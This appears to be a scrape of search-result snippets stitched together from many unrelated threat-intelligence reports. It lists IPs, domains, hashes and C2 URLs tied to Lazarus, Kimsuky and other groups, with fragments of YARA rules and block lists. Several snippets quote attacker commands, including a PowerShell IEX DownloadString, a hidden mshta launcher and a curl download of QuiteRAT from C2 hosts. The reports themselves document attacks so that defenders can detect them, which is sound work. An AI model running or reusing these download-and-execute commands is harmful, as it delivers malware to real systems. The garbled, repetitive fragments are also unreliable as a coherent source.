cdn.logoeye.net…","…23.236.169.233 goingladies.com C2 IP Address 51.38.145.49:443 Attacker IP IP Address 213.252.232.171:443 Attacker IP IP Address 131.226.2.120:443 Attacker IP IP Address 37.120.247.180:443 Attacker IP IP Address 88.119.175.208:443 Attacker IP IP Address 193.233.171.58…","…malicious domain and IP list gossipsnare.com , 51.38.145.49:443 showmanroast.com , 213.252.232.171:443 getstockprice.info , 131.226.2.120:443 eclairdomain.com , 37.120.247.180:443 replaydreary.com , 88.119.175.208:443 coreladao.com cdn.clubinfo.io We’ll create…","…Information Attacker Domains: gossipsnare.com, 51.38.145.49:443 showmanroast.com, 213.252.232.171:443 getstockprice.info, 131.226.2.120:443 eclairdomain.com, 37.120.247.180:443 replaydreary.com, 88.119.175.208:443 coreladao.com cdn.clubinfo.io Attacker IPs:…","…Attacker domain IP Address 70.34.245.118 Resolved from getstockprice.com IP Address 178.128.77.132 trashcrease.com C2 IP Address 131.226.2.43 Anglerstatic.com C2 IP Address 23.236.169.233 goingladies.com C2 IP Address 51.38.145.49:443 Attacker IP IP Address…","…indicators published by Safe{Wallet} getstockprice.com , 70.34.245.118 trashcrease.com , 178.128.77.132 anglerstatic.com , 131.226.2.43 goingladies.com , 23.236.169.233 185.194.178.88 45.86.202.224 SlowMist malicious domain and IP list gossipsnare.com ,…","…NameSilo, LLC 7 teamsync.live 2026-04-02 13:34:29 132.148.217.168 26496 AS-26496-GO-DADDY-COM-LLC - GoDaddy.com, LLC GoDaddy.com, LLC 8 teamslivs.com 2026-04-02 07:31:23 198.54.116.166…","…i.com secozco.com sharedriver.pw sharedriver.us tempdomain8899.com world-paper.net zwfaxi.com IPs: 104.148.109.48 107.175.130.191 132.148.240.198 134.73.90.114 172.81.132.211 173.248.170.149 5.196.169.223 74.208.247.127 92.222.212.0 Share this: Tweet Share…","…aio01_decrypted.bin 20b6d0b1f9b2bfa388510e35b7fece61 cmd.exe.bin C2 ggt-send-6187.orange-app.vip 134.122.130.138:6187 Lazarus MD5 f277110800d861faa6a737c8d668d297 .npl cdf296d7404bd6193514284f021bfa54…","…# IPV4 ACTIVITY PRIORITY 1 142.93.155.162 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 2 134.122.38.73 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 3 5.255.114.109 PHP web shell tooling / upload…","…= “103.216.220.92” ascii wide fullword $ip2 = “31.223.184.166” ascii wide fullword $ip3 = “37.19.200.5” ascii wide fullword $ip4 = “134.209.159.64” ascii wide fullword $ip5 = “103.114.163.188” ascii wide fullword $ip6 = “95.217.98.37” ascii wide fullword $ip7 = “92.118.112.100”…","…poisoning BLOCK / MONITOR 8 188.80.228.122 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 9 134.209.181.133 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 10 134.209.252.157 PHP web shell tooling /…","…poisoning BLOCK / MONITOR 9 134.209.181.133 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 10 134.209.252.157 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 11 119.63.72.54 PHP web shell tooling /…","…m sharedriver.pw sharedriver.us tempdomain8899.com world-paper.net zwfaxi.com IPs: 104.148.109.48 107.175.130.191 132.148.240.198 134.73.90.114 172.81.132.211 173.248.170.149 5.196.169.223 74.208.247.127 92.222.212.0 Share this: Tweet Share on Tumblr…","…domains seen in the PADNS data. Press enter or click to view image in full size https://explore.silentpush.com/enrichment/ipv4/135.148.76.75 This leaves us with a 19 emails that we can attribute to be associated to UNC3782…","…SecurityPDF Website & Troy C2 envell.xyz enveil.online uxtramine.org 135.181.67.203 135.181.185.158 YARA – RelayShell Webshell rule lazarus_relayshell { meta: author = \"@_CPResearch_\" description = \"Lazarus RelayShell Webshell\"…","…SecurityPDF Website & Troy C2 envell.xyz enveil.online uxtramine.org 135.181.67.203 135.181.185.158 YARA – RelayShell Webshell rule lazarus_relayshell { meta: author = \"@_CPResearch_\" description = \"Lazarus…","…gonamod.com 198.54.126.155 siekis.com 156.154.113.16 worldinfocontact.club NetSupport RAT 135.84.124.41 Shlayer 23.63.71.26 api.commondevice.com download.commondevice.com About Ironnet…","…(i=1); spf=pass (mx.naver.com: domain of no-reply+036d5dd0-3bd4-(1)1f0-86c1-5254007ea3ec_vt1@bounce-zem.invoicdev.64bit.kr designates 136.143.188.154 as permitted sender) smtp.mailfrom=no-reply+036d5d(d)0-3bd4-11f0-86c1-5254007ea3ec_vt1@bounce-zem.invoicdev.64bit.kr; dkim=pass…","…2025-01-21 2025-02-19 Python getstockprice.info 131.226.2.120 2025-01-21 2025-01-23 Python api.stockinfo.io 136.244.93.248 2024-10-30 2024-11-11 Python cdn.logoeye.net 54.39.83.151 2024-10-29 2024-11-03 Python en.wfinance.org 195.133.26.32…","…similarity Copy 185.236.231.224 en.stocksindex.org www.en.stocksindex.org 195.133.26.32 en.wfinance.org www.en.wfinance.org 136.244.93.248 api.stockinfo.io www.api.stockinfo.io Figure 14.…","…112.175.92.57 113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226…","…(UDPTrcSvc.dll) IPs (23) 112.175.92.57 113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226…","…associated with the IP address. 137.139.135.151 Tags command-and-control Ports 64694 TCP Whois NetRange: 137.139.0.0 - 137.139.255.255 CIDR: 137.139.0.0/16 NetName: SUC-OLDWEST NetHandle: NET-137-139-0-0-1 Parent: NET137 (NET-137-0-0-0-0) NetType: Direct…","…URL http://137.175.17.172:1443/ac3.jar http://137.175.17.172:1443/agent http://137.175.17.172:1443/agent_w http://137.175.17.172:41334/ http://137.175.17.221:144…","…p://137.175.17.172:1443/ac3.jar http://137.175.17.172:1443/agent http://137.175.17.172:1443/agent_w http://137.175.17.172:41334/ http://137.175.17.221:1443/ac.jar AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…p://137.175.17.172:1443/ac3.jar http://137.175.17.172:1443/agent http://137.175.17.172:1443/agent_w http://137.175.17.172:41334/ http://137.175.17.221:1443/ac.jar Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click…","…ISO sha256 IP from Readme.txt IP from Sandbox 8cc60b628bded497b11dbc04facc7b5d7160294cbe521764df1a9ccb219bba6b 137.184.15.189 - dc20873b80f5cd3cf221ad5738f411323198fb83a608a8232504fd2567b14031 143.244.186.68 44.238.74.84…","…An example of the content of that file is provided below: Server: 137.184.15.189 User: [redacted] Pass: [redacted] Weaponized PuTTY malware ZINC has been using trojanized PuTTY as part of its attack chain for many…","…For example, the C2 s 137.74.114.227 , bootcamp - coders.cnm.edu and yakufreshperu.com had a n old version of the Lavarel PHP framework installed.…","…Control servers 34.214.99.20/view_style.php 137.74.41.56/board.php kingkoil.com.sg/board.php Document URLs http://208.117.44.112/document/Strategic Planning…","…/ target-list hosting / launch MONITOR & HUNT 10 128.90.176.13 Staging / target-list hosting / launch MONITOR & HUNT 11 138.199.34.201 Staging / target-list hosting / launch MONITOR & HUNT 12 145.255.150.25 Staging / target-list hosting / launch MONITOR & HUNT…","…poisoning BLOCK / MONITOR 11 119.63.72.54 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 12 138.68.161.170 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 13 95.216.5.90 PHP web shell tooling / upload-progress…","…URL http://13.76.133.68:10443/ http://13.76.133.68:8080/ http://139.177.190.243/update.exe http://27.102.107.224/update.exe http://27.102.107.224:5443/ AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실…","…URL http://13.76.133.68:10443/ http://13.76.133.68:8080/ http://139.177.190.243/update.exe http://27.102.107.224/update.exe http://27.102.107.224:5443/ Gain access to related IOCs and detailed analysis…","…api.rogerscorp.org, api.sophosantivirus.ga, apicon.nvidialab.us, w2zmii7kjb81pfj0ped16kg8szyvmk.burpcollaborator.net, and 139.180.217.203. Attackers propagating Log4j attacks via previously undisclosed vulnerability During our sustained monitoring of threats taking…","…likely of the same malware family as 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d 181.119.19.100 114.215.130.173 139.196.55.146 124.248.228.30 119.29.11.203 Related APK Samples In addition to ELF ARM files the HTTP Server can also serve APK files.…","…/log 폴더 공격자 테스트 로그 파일만 존재하며, hole_311에서 확인되지 않은 새로운 ip 주소가 확인되었다. 80.71.157.55 139.99.36.158: 새로 확인된 ip 주소 158.247.253.215 4.…","…IPv4 Addresses 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d ELF ARM file embedded in main.js 97.211.212.31 14.139.200.107 175.100.189.174 This ELF ARM file is one of three we identified.…","…addresses 110.45.145.103 114.215.130.173 119.29.11.203 124.248.228.30 139.196.55.146 14.139.200.107 175.100.189.174 181.119.19.100 197.211.212.31 199.180.148.134 217.117.4.110 61.106.2.96 Introducing McAfee+…","…112.175.92.57 113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152…","…(UDPTrcSvc.dll) IPs (23) 112.175.92.57 113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152…","…41.131.29.59 176.35.250.93 64.86.34.24 58.6.21.11 114.215.107.218 118.140.97.6 190.216.219.247 201.26.209.137 14.161.14.196 220.132.191.110 92.42.54.184 182.180.143.39 193.251.27.90 (NOTE: These are just some of the collected IoCs that have been…","…사용할 설정 정보 Config 파일에 있는 암호화된 C2와 AES로 암호화된 MsWord16.pip파일을 복호화해 C2로 세팅 https://blog.daum .net/casalesmedia/pages/category 14.47.189.243:443 222.122.79.232:8080 222.122.79.232:443 문자열 복호화 로직 복호화 순서 Base64 Decoding 159 (0x9F) XOR C2 파일 복호화 로직…","…https://strivemktsupporters.com 3.39.208.187 222.118.225.33 211.110.1.17 20.194.29.89 119.207.79.175 61.100.5.186 110.10.189.167 14.63.165.32 211.110.1.93 182.252.138.31 114.207.112.19 1.249.169.5 연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.…","…191.215.16.82 91.140.255.62 68.232.175.188 128.201.64.194 23.254.144.139 209 .208.109.38 59.120.122.35 145.108.194.10 140.117.91.22 199.66.91.106 202.39.61.57 192.48.29.14 197.44.198.211 186.232.112.25 125.100.175.62 192.183.29.182 62.201.228.179…","…exiting. Fig 4: Getting VBS Payload 2 from VBS Payload 1 Lastly in stage 3, VBS Payload 2 is executed and it contacts C2 server 140.117.91.22 using port 8080 in order to get VBS Payload 3 as shown in Fig 5. Fig 5: VBS Payload 2 Code snippet Table 1: Functions of VBS…","…192.48.29.14 197.44.198.211 186.232.112.25 125.100.175.62 192.183.29.182 62.201.228.179 181.193.82 .122 197.51.50.158 140.136.134.201 185.45.28.182 203.151.166.13 104.168.137.213 88.204.166.59 URL s (Hardcoded IP addresses) 140.136.134.201:8080/open?topic=…","…show strong structural and thematic resemblance to domains previously resolved By pivoting on each domain we got another 4 IPs 140.82.20.246 156.154.132.200 198.57.247.218 192.64.119.169 140.82.20.246 > 10/94 detection 156.154.132.200 > 2/94 detection…","…AnyDesk Remote Control 8 ssh_env Match Host Files Named *.env for Target Reconnaissance Appendix - IOC 135.181.242.24 140.99.223.36 144.172.74.108 144.172.74.48 144.172.79.23 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.17 147.124.213.29 147.124.214…","…D0} condition: uint16be(0) == 0x4d5a and filesize < 2MB and all of them } Related infrastructure http://141.105.65.165/data/* http://141.105.65.165/files/* http://141.105.65.165/main/* http://141.105.65.165/support/* http://attiferstudio.com/install.bak/sony…","…/c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 496433 2.2.2.2 || mshta http://141.105.65.165/data/11.html C2 공격자 명령 수신 – http://141.105.65.165/data//mid.php?U=[컴퓨터이름]+[유저이름] 명령 실행 결과 전달 –…","…NameSilo, LLC 19 linelive.us 2026-04-01 01:03:09 141.136.43.165 47583 AS-HOSTINGER Hostinger International Limited NameSilo, LLC 20 linelive.us 2026-04-01 01:03:09 141.136.43.165 47583…","…Network indicators Indicator Type Description 141.164.40.239:443 IP:port XenoRAT C2 141.164.49.250:443 IP:port XenoRAT C2…","…URL Final stage URL 158.247.230.196 IP Email sender, attacker IP, Vultr Cloud, South Korea 141.164.41.17 IP Email sender, attacker IP, Vultr Cloud, South Korea 165.154.52.140 IP Email sender, Korean infrastructure…","…IP ⚫ 104.131.203.210 ⚫ 104.207.135.174 ⚫ 141.164.44.139 ⚫ 141.164.47.123 ⚫ 141.164.55.236 ⚫ 144.172.116.121 ⚫ 158.247.200.50 ⚫ 158.247.212.35 ⚫ 158.247.240.44 ⚫…","…IP ⚫ 104.131.203.210 ⚫ 104.207.135.174 ⚫ 141.164.44.139 ⚫ 141.164.47.123 ⚫ 141.164.55.236 ⚫ 144.172.116.121 ⚫ 158.247.200.50 ⚫ 158.247.212.35 ⚫ 158.247.240.44 ⚫ 158.247.245.18 ⚫…","…Trusted sources linked another IP (141.164.49.250) in this cluster to APT43.…","…to view image in full size The two previously flagged Kimsuky results remained, and I focused the next stage of the hunt on IPs 141.164.51.224 and 158.247.204.137. 141.164.51.224 Press enter or click to view image in full size We can see above, this has been flagged…","…However we see a different screenshot than before. Press enter or click to view image in full size We have observed this IP 141.164.55.2 from our Censys search, and its been attributed to Kimsuky. Press enter or click to view image in full size Lets proceed to…","…IP ⚫ 104.131.203.210 ⚫ 104.207.135.174 ⚫ 141.164.44.139 ⚫ 141.164.47.123 ⚫ 141.164.55.236 ⚫ 144.172.116.121 ⚫ 158.247.200.50 ⚫ 158.247.212.35 ⚫ 158.247.240.44 ⚫ 158.247.245.18 ⚫ 167.1.17.177 ⚫…","…도메인이며, Passive DNS 이력으로 2개의 아이피가 사용됐습니다. Domain 주소 IP 주소 국가 코드 filedownloadserve.com 158.247.219.10 [KR] 141.164.60.110 [KR] kakaofilestorage.com 158.247.219.10 [KR] 141.164.62.19 [KR] [표 2] C2 서버 정보 ○ 특히, 이메일이 발송된 '108.181.50.58'…","…● C2 172.86.115.125 141.164.60.25 mailattachmentimageurlxyz.site imagedownloadsupport.com tianling0315@gmail.com tanessha.samuel@gmail.com…","…⚫ https://security.heillamal.com/common/img_view.php?favicon.ico ⚫ https://goodrichcardirect.com/logo.png ⚫ http://141.164.61.90/file/config.php ⚫ http://158.247.232.35/bbns/bbns.php ⚫ http://27.102.138.60/user/admin.php ⚫…","…IP 주소 국가 코드 filedownloadserve.com 158.247.219.10 [KR] 141.164.60.110 [KR] kakaofilestorage.com 158.247.219.10 [KR] 141.164.62.19 [KR] [표 2] C2 서버 정보 ○ 특히, 이메일이 발송된 '108.181.50.58' VPN 주소의 경우 ' UN 안전보장이사회 보고서(Security Council Report) ' 567 페이지에 북한 연계…","…File %TEMP%\\svchostav.exe URL http://mail.[removed].co.kr/de/de_includes/mail/yandex.ru/download.php IP Address 141.223.125.112 January 2018 Attack Indicator Type Indicator Hash…","…command to send the stolen data to C2 server. Press enter or click to view image in full size If someone visits the URL ‘http[://]141.98.9.202/joinsystem’ using a web browser, it shows a single text ‘Error’ . Press enter or click to view image in full size The IP’s ASN is…","…192.119.116.231 Resolved IP for firstfromsep.online IP Address 192.236.146.22 Resolved IP for writeup.live IP Address 142.11.241.62 Resolved IP for safeup.store IP Address 23.254.247.53 Resolved IP for support.us05web-zoom.pro IP Address 192.236.198.31…","…신상정보 고지.pdf 5eb7a909d8e8e3773b2ccc780d8f765a 암호.txt.lnk [C2] https://yfews.mailhubsec.com/comm/vpwepi.hta https://yajxu.mailhubsec.com/ 142.11.248.98 둘러보기 더보기 [위협 분석] Lazarus 그룹의 Windows 및 MacOS를 겨냥한 악성코드 분석 2025년 9월, Nvidia, arm64-fixer,…","…고지.pdf 5eb7a909d8e8e3773b2ccc780d8f765a 암호.txt.lnk C2 https://yfews.mailhubsec.com/comm/vpwepi.hta https://yajxu.mailhubsec.com/ 142.11.248.98 See Also More [Cyber Threat Analysis] Malware Analysis Targeting Windows and macOS by the Lazarus…","…kr load.rwbcode.com rwbcode.com 174.138.186.157:5511 174.138.186.157:7788 174.138.186.157:9558 213.145.86.223:9005 111.92.189.34:21 142.11.248.98 162.220.11.202 ydcxcm.pklzd.com quemr.mailhubsec.com link24.kr www.link24.kr vvopen.pklzd.com quemr.mailhubsec.com mailhubsec.com…","…- 성범죄자 신상정보 고지.pdf d9ecf148c88bfd9791758b3be1a9f459 - 암호 8b6580e14b8164e28e684d48691ddf4d - KYC_Form.doc C&C 142.11.248.98 27.102.113.20 natezlx.myvnc.com nid-naverbpk.onthewifi.com daumcyd.ddns.net…","…신상정보 고지.pdf 5eb7a909d8e8e3773b2ccc780d8f765a 암호.txt.lnk [C2] https://yfews.mailhubsec.com/comm/vpwepi.hta https://yajxu.mailhubsec.com/ 142.11.248.98 둘러보기 더보기 로그프레소 CTI 리포트_Vol.11 제11호에서는 지난 1분기에 발생한 위협 분석과 함께 ASM을 활용한 통합 보안 전략에 대해 다루었습니다.…","…고지.pdf 5eb7a909d8e8e3773b2ccc780d8f765a 암호.txt.lnk C2 https://yfews.mailhubsec.com/comm/vpwepi.hta https://yajxu.mailhubsec.com/ 142.11.248.98 See Also More Jan 2025 — Cyber Attack Trends “With the rapid expansion of cloud and SaaS, the…","…신상정보 고지.pdf 5eb7a909d8e8e3773b2ccc780d8f765a 암호.txt.lnk [C2] https://yfews.mailhubsec.com/comm/vpwepi.hta https://yajxu.mailhubsec.com/ 142.11.248.98 둘러보기 더보기 GitHub 보안 강화 및 위협 모니터링 GitHub 보안은 2FA 활성화, IP 접근 제어, 감사 로그 모니터링이 필수입니다.…","…고지.pdf 5eb7a909d8e8e3773b2ccc780d8f765a 암호.txt.lnk C2 https://yfews.mailhubsec.com/comm/vpwepi.hta https://yajxu.mailhubsec.com/ 142.11.248.98 See Also More Oct 2024 — Cyber Attack Trends “Are Cyber Attacks Originating from North Korea…","…고지.pdf 5eb7a909d8e8e3773b2ccc780d8f765a 암호.txt.lnk C2 https://yfews.mailhubsec.com/comm/vpwepi.hta https://yajxu.mailhubsec.com/ 142.11.248.98 See Also More Jul 2024 — Cyber Attack Trends “Korean companies expanding overseas should pay…","…신상정보 고지.pdf 5eb7a909d8e8e3773b2ccc780d8f765a 암호.txt.lnk [C2] https://yfews.mailhubsec.com/comm/vpwepi.hta https://yajxu.mailhubsec.com/ 142.11.248.98 둘러보기 더보기 [위협 분석] 법원 등기 수신 사칭 스캠 2025년 10월 현재, 법원등기 안내를 사칭한 사회공학 기반 스캠(Scam) 공격이 국내에서 빈번하게…","…고지.pdf 5eb7a909d8e8e3773b2ccc780d8f765a 암호.txt.lnk C2 https://yfews.mailhubsec.com/comm/vpwepi.hta https://yajxu.mailhubsec.com/ 142.11.248.98 See Also More [위협 분석] 건강검진 안내 문서로 위장한 악성코드 2025년 10월 말, 건강검진 안내 문서로 위장한 JSE 파일이 조직적인 APT 공격에…","…신상정보 고지.pdf 5eb7a909d8e8e3773b2ccc780d8f765a 암호.txt.lnk [C2] https://yfews.mailhubsec.com/comm/vpwepi.hta https://yajxu.mailhubsec.com/ 142.11.248.98 둘러보기 더보기 [칼럼] 제로 트러스트 시대, 벤더 간 담장을 낮춰라 챗GPT와 딥시크 등 오픈소스 AI 모델의 성능이 빠르게 향상되면서, 앞으로 1~2년 내 사람의…","…(TCP) 104.85.1.163:80 (TCP) 104.86.110.106:80 (TCP) 116.84.245(.0100:80 (TCP) 119.205.211(.077:443 (TCP) 13.49.212.207:80 (TCP) 142.250.179.132:80 (TCP) 152.199.19.74:80 (TCP) 157.240.247.35:443 (TCP) 157.240.247.35:80 (TCP) 172.64.149.23:80 (TCP) 172.64.152.151:443…","…이며 wscript.exe는 142.250.181.238:443 즉 구글 드라이버에서 어떤 파일을 다운로드 합니다.…","…HTTP 통신을 수행하고 결과를 처리하는 Objective-C 프로그램의 일부로 보이며, 성공 또는 실패에 따라 적절한 조처를 함 IP Traffic 104.168.214.151:80 (TCP) 104.76.210.89:443 (TCP) 142.250.9.94:80 (TCP) 17.248.186.177:443 (TCP) 17.248.195.72:443 (TCP) 17.248.200.66:443 (TCP) 17.253.20.253:123 (UDP) 17.253.7.207:443…","…77.126.139:443(TCP) 108.177.126.94:443(TCP) 108.177.126.95:443(TCP) 108.177.127.84:443(TCP) 108.177.127.95:443(TCP) 108.177.96.138:443(TCP) 142.251.31.138:443(TCP) 173.194.69.94:443(TCP) 173.194.79.94:443(TCP) 173.194.79.95:443(TCP) 192.178.27.195:443(TCP) 192.178.49.195:443(TCP) 239.255.255.2…","…and blog from Phylum in late June . npmjscloud.com npmcloudjs.com nodepkg.com dadiwarm.com 216.189.145.247 npmjsregister.com 142.44.178.222 tradingprice.net bi2price.com Trivial pivots from here can be made to similar behaving infrastructure linked to TraderTraitor , as…","…Indicators are defanged. # IPV4 ACTIVITY PRIORITY 1 142.93.155.162 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 2 134.122.38.73 PHP web shell tooling / upload…","…Record 144.172.110.53 53.110.172.144.static.cloudzy.com 144.172.115.16 16.115.172.144.static.cloudzy.com 144.172.117.143 143.117.172.144.static.cloudzy.com 172.86.89.213 213.89.86.172.static.cloudzy.com 172.86.91.195 195.91.86.172.static.cloudzy.com 45.61.163.100…","…poisoning BLOCK / MONITOR 14 185.157.109.60 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 15 143.246.213.138 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 16 144.91.70.51 PHP web shell tooling / upload…","…29) - www.kaist-ac.xyz (185.224.138.29) - mail.kaist-ac.xyz (143.248.155.65) - vpn.karist.cf (216.189.159 .…","…C2 109.234.36.135 144.124.247.97 77.246.101.72 77.246.108.96 aceeyl.com althouqroastery.com anupamaivf.com appoitment.dotoit.media creativepackout.co encryptuganda.…","…Description philion.store THUMBSBD C2 homeatedke.store THUMBSBD C2 hightkdhe.store THUMBSBD C2 144.172.106.66:8080 FOOTWINE C2 MITRE ATT&CK Framework ID Technique Name Annotation T1204.001 User Execution:…","…Four shared a single VPS at 144.172.110.53, and `zoom.05ukweb.uk` was scanned on urlscan on July 6, 2026, the day before we started analysing with an active…","…IOCs and TTPs Network IOCs IP Addresses 172.86.113.102 144.172.114.220 Domains update-teams.live livemicrosft.com URLs h[tt]p://172.86.113.102/Onedrive…","…Addresses IP Addresses Copy 104.168.143.111 23.254.167.21 144.172.116.9 108.174.198.11 45.61.157.248 45.61.129.29 144.172.114.220 Table of Contents Key Points Background High Level Attack Chain Technical…","…on urlscan 2026-07-06 zoom.us05-web.us (older campaign) Referenced in commented-out Perl stager webapp.zoom.05live.co 144.172.115.16 urlscan: fake Zoom lure teamapp.live 144.172.115.16 phishdestroy tag, May 2026 XAMPP lives.teamicrosoft.sbs 144.172.117.143…","…IP ⚫ 104.131.203.210 ⚫ 104.207.135.174 ⚫ 141.164.44.139 ⚫ 141.164.47.123 ⚫ 141.164.55.236 ⚫ 144.172.116.121 ⚫ 158.247.200.50 ⚫ 158.247.212.35 ⚫ 158.247.240.44 ⚫ 158.247.245.18 ⚫ 167.1.17.177 ⚫ 176.65.128.26 ⚫…","…IP Addresses IP Addresses Copy 104.168.143.111 23.254.167.21 144.172.116.9 108.174.198.11 45.61.157.248 45.61.129.29 144.172.114.220 Table of Contents Key Points…","…144.172.115.16 urlscan: fake Zoom lure teamapp.live 144.172.115.16 phishdestroy tag, May 2026 XAMPP lives.teamicrosoft.sbs 144.172.117.143 urlscan: fake Teams lure teamlive.vip 144.172.117.143 phishdestroy tag, May 2026 XAMPP mwmelke.com 144.172.117.143…","…RemotePE payload delivery and C2 net.domain azuredeploypackages.net Unknown, connection seen via injected process net.ip 144.172.74.120 Fast Reverse Proxy server net.ip 192.52.166.253 Used as parameter for Quasar file.path %TEMP%\\tmpntl.dat Windows keylogger output…","…51.81.168.157:443 Command-and-control server 217.195.153.209 IP address used by Plink 172.96.137.224 IP address used by Plink 144.208.127.115 IP address used by Plink Certificate 1 thumbprint = \"313cffaac3d1576ca3c1cee8f9a68a15a24ff418\" issuer = \"/CN=Baramundi Inc.\"…","…78.141.223.50 116.202.251.38 89.44.9.202 192.185.5.189 162.241.248.14 179.43.151.196 45.82.250.186 162.19.3.23 144.217.92.197 23.29.115.171 167.114.188.40 91.234.199.179 By mapping out this infrastructure, it is possible to show the links between…","…通信先 159.100.13.216 144.76.109.61 参考文献 [1] JPCERT/CC Eyes, \"日本の組織を狙った攻撃グループKimsukyによる攻撃活動\", https://blogs.jpcert.or.jp/ja/2024/07/kimsuky.html [2] Genians, \"페이스북과…","…Additional information on Kimsuky According to a cybersecurity company, the IP address of the Kimsuky server hosting this malware i s 144.76.109.61 and the IP address of another, related server hosting the Kimsuky-controlled domain civilarys.store is 27.255.81.77 .…","…Acquired APK classification The 144.76.109.61 server operated by the attacker at the time was directory listed, allowing us to see all of the files uploaded to it, which further…","…poisoning BLOCK / MONITOR 15 143.246.213.138 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 16 144.91.70.51 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 17 217.60.196.124 PHP web shell tooling / upload…","…190.81.34.163 191.215.16.82 91.140.255.62 68.232.175.188 128.201.64.194 23.254.144.139 209 .208.109.38 59.120.122.35 145.108.194.10 140.117.91.22 199.66.91.106 202.39.61.57 192.48.29.14 197.44.198.211 186.232.112.25 125.100.175.62 192.183.29.182…","…IP 트래픽 145.14.144.162:80(TCP) 145.14.145.67:80(TCP) VirusTotal(바이러스토탈)2023-03-24 17:55:29 UTC 기준 탐지하는 보안 업체들은 다음과 같습니다.…","…145.14.144.206:80 (TCP) 145.14.145.122:80 (TCP) 145.14.145.245:80 (TCP) 인터넷 연결 시도…","…remains consistent with previous samples of NOKKI in terms of functionality and the embedded PDB string. The payload communicates with 145.14.145.32, which resolves to files.000webhost.com.…","…C:\\windows\\system32\\WindowsPowershell\\v1.0\\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://145.232.235.222/usr/users/mini.ps1') 1 C : \\ windows \\ system32 \\ WindowsPowershell \\ v1 .…","…the communication frequency with C2 server, the cache file name, etc., and the Trojan has built-in two groups of C2 servers: http://145.232.235.222/usr/users/common.php http://46.14.68.202/editor/common.php The host system registered organization, the registered owner and install…","…resolved to the following Internet Protocol (IP) addresses from May 29, 2018, to January 23, 2021. 45.199.63.220 107.187.66.103 145.249.106.19 175.29.32.160 185.142.236.213 185.181.104.82 198.251.83.27 208.91.197.46 209.99.64.18 The celasllc.com domain had a…","…/ target-list hosting / launch MONITOR & HUNT 11 138.199.34.201 Staging / target-list hosting / launch MONITOR & HUNT 12 145.255.150.25 Staging / target-list hosting / launch MONITOR & HUNT 13 149.102.232.44 Staging / target-list hosting / launch MONITOR & HUNT…","…addresses from October 15, 2016, to January 22, 2021. 45.33.2.79 45.33.23.183 45.56.79.23 45.79.19.196 96.126.123.244 146.112.61.107 184.168.221.40 184.168.221.57 198.187.29.20 198.54.117.197 198.54.117.198 198.54.117.199 198.54.117.200…","…relysudden.com primerosauxiliosperu.com rentedpushy.com basketsalute.com prontoposer.com IP addresses: 146.19.173.125 23.227.202.54 38.132.124.88 88.119.174.148 198.244.135.250 POOLRAT SHA256 hashes:…","…45.141.58.40 2024-05-06 2024-08-06 Java cdn.leaguehub.net 5.133.9.252 2024-07-15 2024-07-21 Python cdn.clublogos.io 146.19.173.29 2024-06-24 2024-07-12 Python api.jquery-release.com 146.70.125.120 2024-06-10 2024-06-28 JavaScript cdn.logosports.net…","…, 'https://online.dokamacto.xyz' , 'http://online.dokamacto.xyz' ] ALLOWED_HOSTS [ ' 170.205.29.83 ', ' 146.19.215.187 ', ' 185.147.159.187 ', ' 170.205.30.27 ', 'dashboard.asteara.org', 'dashboard.cklomino.ink', 'almanac.3dscenebox.online',…","…poisoning BLOCK / MONITOR 4 117.203.73.63 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 5 146.190.107.103 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 6 95.217.164.124 PHP web shell tooling /…","…Plink e3027062e602c5d1812c039739e2f93fc78341a67b77692567a4690935123abe Networks IOCs 146.4.21.94 109.248.150.13 108.61.186.55:443 http[://]146.4.21.94/tmp/tmp/comp.dat http[://]146.4.21.94/tmp/tmp/log.php http[://]146.4.21.94/tmp/t…","…We observed Lazarus Group use the cURL command to immediately deploy the QuiteRAT binary from a malicious URL: curl http[://]146.4.21.94/tmp/tmp/comp.dat -o c:\\users\\public\\notify.exe The IP address 146.4.21.94 has been used by Lazarus since at least May 2022. A successful…","…E9D8DF469357E3F8 Adfind C92C158D7C37FEA795114FA6491FE5F145AD2F8C08776B18AE79DB811E8E36A3 IPs 104.155.149.103 40.121.90.194 185.29.8.162 146.4.21.94 46.183.221.109 84.38.133.145 109.248.150.13 155.94.210.11 192.186.183.133 54.68.42.4 84.38.133.145 213.180.180.154 URLS 